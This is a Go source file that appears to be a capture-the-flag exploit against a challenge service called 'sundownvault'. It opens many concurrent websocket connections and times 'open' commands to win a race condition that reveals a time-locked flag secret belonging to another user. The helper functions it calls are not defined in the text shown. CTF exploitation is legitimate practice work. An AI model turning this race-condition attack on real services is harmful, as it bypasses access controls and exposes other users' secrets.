master
1package main
2
3import (
4 "encoding/json"
5 "fmt"
6 "log"
7 "net/http"
8 "sync"
9 "time"
10
11 "github.com/gorilla/websocket"
12)
13
14const (
15 host = "localhost:3000"
16 //wsURL = "wss://ee3e5cff-e66a-4bcf-8d31-61dff8e041a8.sundownvault.chal.pwni.ng/api/ws"
17 wsURL = "ws://" + host + "/api/ws"
18 httpURL = "http://" + host
19 flagID = "13371337-1337-1337-1337-133713371337"
20)
21
22type Message struct {
23 Command string `json:"command,omitempty"`
24 ID string `json:"id,omitempty"`
25
26 Kind string `json:"kind,omitempty"`
27 Name string `json:"name,omitempty"`
28 Secret string `json:"secret,omitempty"`
29 Error string `json:"error,omitempty"`
30 RevealAt string `json:"reveal_at,omitempty"`
31 Remaining string `json:"remaining,omitempty"`
32}
33
34func main() {
35
36 client := &http.Client{}
37 var cookie *http.Cookie
38
39 username, err := registerUser(client)
40 if err != nil {
41 log.Fatalf("failed registration: %v", err)
42 }
43
44 cookie, err = loginUser(client, username)
45 if err != nil {
46 log.Fatalf("failed login: %v", err)
47 }
48
49 var wg sync.WaitGroup
50 //secretDuration := 16050 * time.Microsecond
51 secretDuration := 2 * time.Second
52 revealAt := time.Now().Add(secretDuration)
53 myID, revealAt, err := createSecret(client, cookie, revealAt)
54 if err != nil {
55 log.Fatalf("failed to create secret: %v", err)
56 }
57 //fmt.Printf("[%s]\t💾 Created: %s\n", time.Since(revealAt), myID)
58
59 for paces := range time.Duration(25) {
60 wg.Add(1)
61 go draw(&wg, myID, revealAt, paces*time.Millisecond)
62 }
63 wg.Wait()
64}
65
66func draw(
67 wg *sync.WaitGroup,
68 id string,
69 revealAt time.Time,
70 paces time.Duration,
71) {
72 conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
73 if err != nil {
74 log.Fatalf("failed ws connect: %v\n", err)
75 }
76
77 time.Sleep(time.Until(revealAt) - (100 * time.Millisecond))
78 myFlag := Message{Command: "open", ID: id}
79 if err := conn.WriteJSON(myFlag); err != nil {
80 log.Fatalf("Failed to send message: %v\n", err)
81 }
82
83 //var drawWG sync.WaitGroup
84 //drawWG.Add(1)
85 //go func() {
86 // flag := Message{Command: "open", ID: flagID}
87 // time.Sleep(time.Until(revealAt) - 10*time.Millisecond)
88 // if err := conn.WriteJSON(flag); err != nil {
89 // log.Fatalf("Failed to send message: %v\n", err)
90 // }
91 // drawWG.Done()
92 //}()
93 //fmt.Printf("[%s]\t🔫 DRAW!\n", time.Now())
94
95 first := true
96 updateCount := 0
97 update := false
98 for {
99 _, data, err := conn.ReadMessage()
100 if err != nil {
101 log.Printf("Read error: %v\n", err)
102 return
103 }
104 var parsed Message
105 if err := json.Unmarshal(data, &parsed); err != nil {
106 log.Printf("Failed to parse: %v\n", err)
107 continue
108 }
109 fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
110
111 if parsed.Kind == "Watch" {
112 if first {
113 first = false
114 continue
115 }
116 fmt.Printf("[%s]\t☠️ DEAD! \n", time.Now())
117 break
118 }
119 if parsed.Kind == "Update" {
120 //fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
121 flag := Message{Command: "open", ID: flagID}
122 time.Sleep(paces)
123 if err := conn.WriteJSON(flag); err != nil {
124 log.Fatalf("Failed to send message: %v\n", err)
125 }
126 fmt.Printf("[%s]\t📩 SENT\n", time.Now())
127 updateCount = updateCount + 1
128 update = true
129 }
130 if parsed.Kind == "Reveal" {
131 if !update {
132 fmt.Print("DSF")
133 break
134 }
135 //fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
136 if parsed.Name == "Flag" {
137 fmt.Printf("🎉 SECRET REVEALED: %s\n", parsed.Secret)
138 return
139 }
140 //fmt.Printf("💨 MISS! d:%s\n", paces)
141 continue
142 }
143 }
144 //drawWG.Wait()
145 conn.Close()
146 wg.Done()
147}